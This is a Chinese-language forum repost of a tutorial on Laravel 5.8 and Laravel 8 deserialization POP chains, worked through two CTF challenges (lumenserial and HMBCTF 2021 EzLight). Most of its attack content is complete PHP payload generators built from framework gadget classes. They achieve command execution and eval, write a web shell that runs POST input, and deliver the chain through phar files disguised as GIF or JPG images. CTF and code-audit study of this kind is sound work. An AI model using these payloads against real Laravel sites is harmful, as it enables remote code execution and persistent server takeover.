通过几道CTF题学习Laravel框架

1337163122 · 发表于 2021-6-10 17:59:39

通过几道CTF题学习Laravel框架原创 larry 合天网安实验室昨天

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简介Laravel是一款比较流行的优秀 PHP 开发框架，通过这个框架来入门大型框架的代码审计、包括锻炼反序列化漏洞的挖掘利用是比较合适的，本文分析了Laravel5和Laravel8两个版本的部分利用链，并结合CTF题目来学习Laravel框架
Laravel5.8.x反序列化POP链安装：其中--prefer-dist表示优先下载zip压缩包方式

composer create-project --prefer-dist laravel/laravel=5.8.* laravel5.8

在路由文件routes/web.php中添加

Route::get('/foo', function () {
if(isset($_GET['c'])){
$code = $_GET['c'];
unserialize($code);
}
else{
highlight_file(__FILE__);
}
return "Test laravel5.8 pop";
});

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然后在public目录起一个php服务就可以进行测试了cd /public

php -S 0.0.0.0:port
/foo?c=

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链一链的入口是在
laravel5.8\vendor\laravel\framework\src\Illuminate\Broadcasting\PendingBroadcast.php

public function __destruct()
{
$this->events->dispatch($this->event);
}

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这里的$this->events和$this->event可控，
这里把$this->events设为含有dispatch方法的Dispatcher类，我们看到laravel5.8\vendor\laravel\framework\src\Illuminate\Bus\Dispatcher.php来

public function dispatch($command)
{
if ($this->queueResolver && $this->commandShouldBeQueued($command)) {
return $this->dispatchToQueue($command);
}
return $this->dispatchNow($command);
}

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跟踪进commandShouldBeQueued

protected function commandShouldBeQueued($command)
{
return $command instanceof ShouldQueue;
}

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这里要求$command（即传进来的$this->event）要实现ShouldQueue该接口

满足ShouldQueue接口的实现类即可，再跟踪进dispatchToQueue看一下public function dispatchToQueue($command)

{
$connection = $command->connection ?? null;
$queue = call_user_func($this->queueResolver, $connection);

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这里的$this->queueResolver和$connection都是可控的，到这里就可以直接构造payload
rce

<?php
namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;
public function __construct($events, $event) {
$this->events = $events;
$this->event = $event;
}
}
class BroadcastEvent {
public $connection;
public function __construct($connection) {
$this->connection = $connection;
}
}
}
namespace Illuminate\Bus {
class Dispatcher {
protected $queueResolver;
public function __construct($queueResolver){
$this->queueResolver = $queueResolver;
}
}
}
namespace {
$c = new Illuminate\Broadcasting\BroadcastEvent('whoami');
$b = new Illuminate\Bus\Dispatcher('system');
$a = new Illuminate\Broadcasting\PendingBroadcast($b, $c);
print(urlencode(serialize($a)));
}

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eval执行
到这里已经可以调用任意类的任意方法了，但是call_user_func无法执行eval函数，如果我们的system被ban了的话，就需要继续寻找执行任意命令的函数，我们找到laravel5.8\vendor\mockery\mockery\library\Mockery\Loader\EvalLoader.php

class EvalLoader implements Loader
{
public function load(MockDefinition $definition)
{
if (class_exists($definition->getClassName(), false)) {
return;
}
eval("?>" . $definition->getCode());
}
}

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这里有一个eval函数，这里需要绕过eval上面的if语句，否则直接就return了
$definition变量是MockDefinition类，跟进一下class MockDefinition

{
protected $config;
protected $code;
...
public function getClassName()
{
return $this->config->getName();
}
public function getCode()
{
return $this->code;
}
}

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这里$code，$config可控，但是呢$definition->getClassName()需要一个不存在的类，我们找一个类其getName是可控的，然后构造一个不存在的类即可，如下

laravel5.8\vendor\mockery\mockery\library\Mockery\Generator\MockConfiguration.php

class MockConfiguration
{
...
public function getName()
{
return $this->name;
}
...
}

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payload如下

<?php
namespace Illuminate\Broadcasting{
class PendingBroadcast{
protected $events;
protected $event;
public function __construct($events, $event)
{
$this->event = $event;
$this->events = $events;
}
}
}
namespace Illuminate\Broadcasting{
class BroadcastEvent
{
public $connection;
public function __construct($connection)
{
$this->connection = $connection;
}
}
}
namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver;
public function __construct($queueResolver)
{
$this->queueResolver = $queueResolver;
}
}
}
namespace Mockery\Generator{
class MockDefinition
{
protected $config;
protected $code;
public function __construct(MockConfiguration $config)
{
$this->config = $config;
$this->code = '<?php phpinfo();?>';
}
}
}
namespace Mockery\Generator{
class MockConfiguration
{
protected $name = "none class";
}
}
namespace Mockery\Loader{
class EvalLoader
{
public function load(MockDefinition $definition)
{
}
}
}
namespace {
$config = new \Mockery\Generator\MockConfiguration();
$connection = new \Mockery\Generator\MockDefinition($config);
$event = new \Illuminate\Broadcasting\BroadcastEvent($connection);
$queueResolver = array(new \Mockery\Loader\EvalLoader(),"load");
$events = new \Illuminate\Bus\Dispatcher($queueResolver);
$pendingBroadcast = new \Illuminate\Broadcasting\PendingBroadcast($events, $event);
echo urlencode(serialize($pendingBroadcast));
}

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利用跳板
如果说靶机禁用了system等函数，我们希望用file_put_contents写shell等双参数的函数呢，这里有一个好的跳板

laravel5.8\vendor\phpoption\phpoption\src\PhpOption\LazyOption.php

final class LazyOption extends Option
{
...
public function filter($callable)
{
return $this->option()->filter($callable);
}
...
private function option()
{
if (null === $this->option) {
/** @var mixed */
$option = call_user_func_array($this->callback, $this->arguments);

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这里的$this->callback，$this->arguments是可控的，但是注意到option的属性是private，无法直接从我们刚刚的call_user_func直接去调用它，但是有许多类似filter的函数里面有调用option的
这里可以直接构造payload

<?php
namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;
public function __construct($events, $event) {
$this->events = $events;
$this->event = $event;
}
}
class BroadcastEvent {
public $connection;
public function __construct($connection) {
$this->connection = $connection;
}
}
}
namespace Illuminate\Bus {
class Dispatcher {
protected $queueResolver;
public function __construct($queueResolver){
$this->queueResolver = $queueResolver;
}
}
}
namespace PhpOption{
final class LazyOption{
private $callback;
private $arguments;
public function __construct($callback, $arguments)
{
$this->callback = $callback;
$this->arguments = $arguments;
}
}
}
namespace {
$d = new PhpOption\LazyOption("file_put_contents", ["shell.php", "<?php eval(\$_POST['cmd']) ?>"]);
$c = new Illuminate\Broadcasting\BroadcastEvent('whoami');
$b = new Illuminate\Bus\Dispatcher(array($d,"filter"));
$a = new Illuminate\Broadcasting\PendingBroadcast($b, $c);
print(urlencode(serialize($a)));
}

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链二入口同样是

public function __destruct()
{
$this->events->dispatch($this->event);
}

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这里转换思路，找某个类没有实现dispatch方法却有__call方法，这里就可以直接调用，找到

laravel5.8\vendor\laravel\framework\src\Illuminate\Validation\Validator.php

class Validator implements ValidatorContract
{
...
public function __call($method, $parameters)
{
$rule = Str::snake(substr($method, 8));
if (isset($this->extensions[$rule])) {
return $this->callExtension($rule, $parameters);
}
这里的$method是固定的字符串dispatch，传到$rule的时候为空，然后$this->extensions可控
跟踪进callExtension方法
protected function callExtension($rule, $parameters)
{
$callback = $this->extensions[$rule];
if (is_callable($callback)) {
return call_user_func_array($callback, $parameters);

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$callback和$parameters可控，于是就可以构造payload了

<?php
namespace Illuminate\Broadcasting{
class PendingBroadcast{
protected $events;
protected $event;
public function __construct($events, $event)
{
$this->events = $events;
$this->event = $event;
}
}
}
namespace Illuminate\Validation{
class Validator{
protected $extensions;
public function __construct($extensions)
{
$this->extensions = $extensions;
}
}
}
namespace{
$b = new Illuminate\Validation\Validator(array(''=>'system'));
$a = new Illuminate\Broadcasting\PendingBroadcast($b, 'id');
echo urlencode(serialize($a));
}

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这条链在Laravel8里面也是可以用的
利用跳板
和上面一样可以加LazyOption这个跳板

<?php
namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;
public function __construct($events, $event) {
$this->events = $events;
$this->event = $event;
}
}
}
namespace Illuminate\Validation {
class Validator {
public $extensions;
public function __construct($extensions){
$this->extensions = $extensions;
}
}
}
namespace PhpOption {
class LazyOption {
private $callback;
private $arguments;
public function __construct($callback, $arguments) {
$this->callback = $callback;
$this->arguments = $arguments;
}
}
}
namespace {
$c = new PhpOption\LazyOption("file_put_contents", ["shell.php", "<?php eval(\$_POST['cmd']) ?>"]);
$b = new Illuminate\Validation\Validator(array(''=>array($c, 'filter')));
$a = new Illuminate\Broadcasting\PendingBroadcast($b, 'whoami');
print(urlencode(serialize($a)));
}

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Laravel8反序列化POP链在下面参考链接文章中Laravel8有介绍三条链都很详细，链和上面Laravel5.8也差不太多，就不赘述，然后有一条可以phpnfo的，同样是经典入口类

laravel859\vendor\laravel\framework\src\Illuminate\Broadcasting\PendingBroadcast.php

public function __destruct()
{
$this->events->dispatch($this->event);
}

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这里的$this->events和$this->event可控
同样这里有两种方法，要不使$this->events为某个拥有dispatch方法的类，我们可以调用这个类的dispatch方法
要不就使$this->events为某个类，并且该类没有实现dispatch方法却有__call方法，那么就可以调用这个__call方法了
看到

laravel859\vendor\laravel\framework\src\Illuminate\View\InvokableComponentVariable.php

public function __call($method, $parameters)
{
return $this->__invoke()->{$method}(...$parameters);
}
/**
* Resolve the variable.
*
* @return mixed
*/
public function __invoke()
{
return call_user_func($this->callable);
}

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这里的_call会直接调用__invoke，$this->callable也是我们可控的，不过这里只能调用phpinfo，比较鸡肋，payload如下

<?php
namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;
public function __construct($events, $event) {
$this->events = $events;
$this->event = $event;
}
}
}
namespace Illuminate\View {
class InvokableComponentVariable {
protected $callable;
public function __construct($callable)
{
$this->callable = $callable;
}
}
}
namespace {
$b = new Illuminate\View\InvokableComponentVariable('phpinfo');
$a = new Illuminate\Broadcasting\PendingBroadcast($b, 1);
print(urlencode(serialize($a)));
}

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因为这里我们只能控制$this->callable，想要rce的话，还可以去找无参的方法里面带有call_user_func或者eval然后参数可控之类的，但是这里我找了好像没找到，读者有兴趣可以去试试
CTF题目lumenseriallumenserial\routes\web.php先看到路由文件

$router->get('/server/editor', 'EditorController@main');
$router->post('/server/editor', 'EditorController@main');

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再看到
lumenserial\app\Http\Controllers\EditorController.php

class EditorController extends Controller
{
private function download($url)
{
...
$content = file_get_contents($url);

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发现这里的$url传进file_get_contents可以phar反序列化，然后$url的值来源于doCatchimage 方法中的 $sources 变量

class EditorController extends Controller
{
...
protected function doCatchimage(Request $request)
{
$sources = $request->input($this->config['catcherFieldName']);
$rets = [];
if ($sources) {
foreach ($sources as $url) {
$rets[] = $this->download($url);
}

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我们看到main发现他是通过call_user_func来调用带do开头的方法

class EditorController extends Controller
{
...
public function main(Request $request)
{
$action = $request->query('action');
try {
if (is_string($action) && method_exists($this, "do{$action}")) {
return call_user_func([$this, "do{$action}"], $request);
} else {

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可以通过如下控制变量http://ip/server/editor/?action=Catchimage&source[]=phar://xxx.gif然后在上面的5.8链的基础加上如下

@unlink("test.phar");
$phar = new \Phar("test.phar");//后缀名必须为phar
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');//设置stub
$phar->setMetadata($pendingBroadcast);//将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test");//添加要压缩的文件
$phar->stopBuffering();

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上传phar文件再用phar协议打即可

[HMBCTF 2021]EzLight给了source.zip源码，是laravel框架开发的lightcms，先在本地把环境搭起来先，主要是修改.env文件改改数据库信息
先看到source\source\app\Http\Controllers\Admin\NEditorController.php

public function catchImage(Request $request)
{
...
$files = array_unique((array) $request->post('file'));
$urls = [];
foreach ($files as $v) {
$image = $this->fetchImageFile($v);

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在catchImage函数里面以post传给file参数再给到fetchImageFile的$url

protected function fetchImageFile($url)
{
if (isWebp($data)) {
$image = Image::make(imagecreatefromwebp($url));
$extension = 'webp';
} else {
$image = Image::make($data);
}

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这里的$url可控，这里imagecreatefromwebp因为isWebp的限制无法进入，所以这里的分支是进入Image::make($data);来，我们在此处下一个断点，然后分析一下前面的代码，我们需要在vps上放一个图片的链接，然后在http://127.0.0.1:9001/admin/neditor/serve/catchImage传参数即可动态调试了
然后一直跟进就可以发现有个file_get_contents函数

<?php
namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;
public function __construct($events, $event) {
$this->events = $events;
$this->event = $event;
}
}
class BroadcastEvent {
public $connection;
public function __construct($connection) {
$this->connection = $connection;
}
}
}
namespace Illuminate\Bus {
class Dispatcher {
protected $queueResolver;
public function __construct($queueResolver){
$this->queueResolver = $queueResolver;
}
}
}
namespace PhpOption{
final class LazyOption{
private $callback;
private $arguments;
public function __construct($callback, $arguments)
{
$this->callback = $callback;
$this->arguments = $arguments;
}
}
}
namespace {
$d = new PhpOption\LazyOption("file_put_contents", ["shell.php", "<?php phpinfo();eval(\$_POST['cmd']);?>"]);
$c = new Illuminate\Broadcasting\BroadcastEvent('whoami');
$b = new Illuminate\Bus\Dispatcher(array($d,"filter"));
$a = new Illuminate\Broadcasting\PendingBroadcast($b, $c);
print(urlencode(serialize($a)));
@unlink("test.phar");
$phar = new \Phar("test.phar");//后缀名必须为phar
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');//设置stub
$phar->setMetadata($a);//将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test");//添加要压缩的文件
$phar->stopBuffering();
rename('test.phar','test.jpg');
}

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至此结束，这里可以phar反序列化了
用上面的链一即可
上传之后，在vps上放

phar://./upload/image/202105/uwQGQ5sBTWRppO3lfHzOpxLkKODMS9NkrYHdobkz.gif

再到/admin/neditor/serve/catchImage用file传参打就可以了
参考链接https://laravelacademy.org/books/laravel-docs-5_7
https://xz.aliyun.com/t/5911
https://www.anquanke.com/post/id/189718#h2-9
https://www.anquanke.com/post/id/231079
实操推荐PHP反序列化漏洞：（复制链接体验）
https://www.hetianlab.com/expc.d ... =weixin-wemedia#stu

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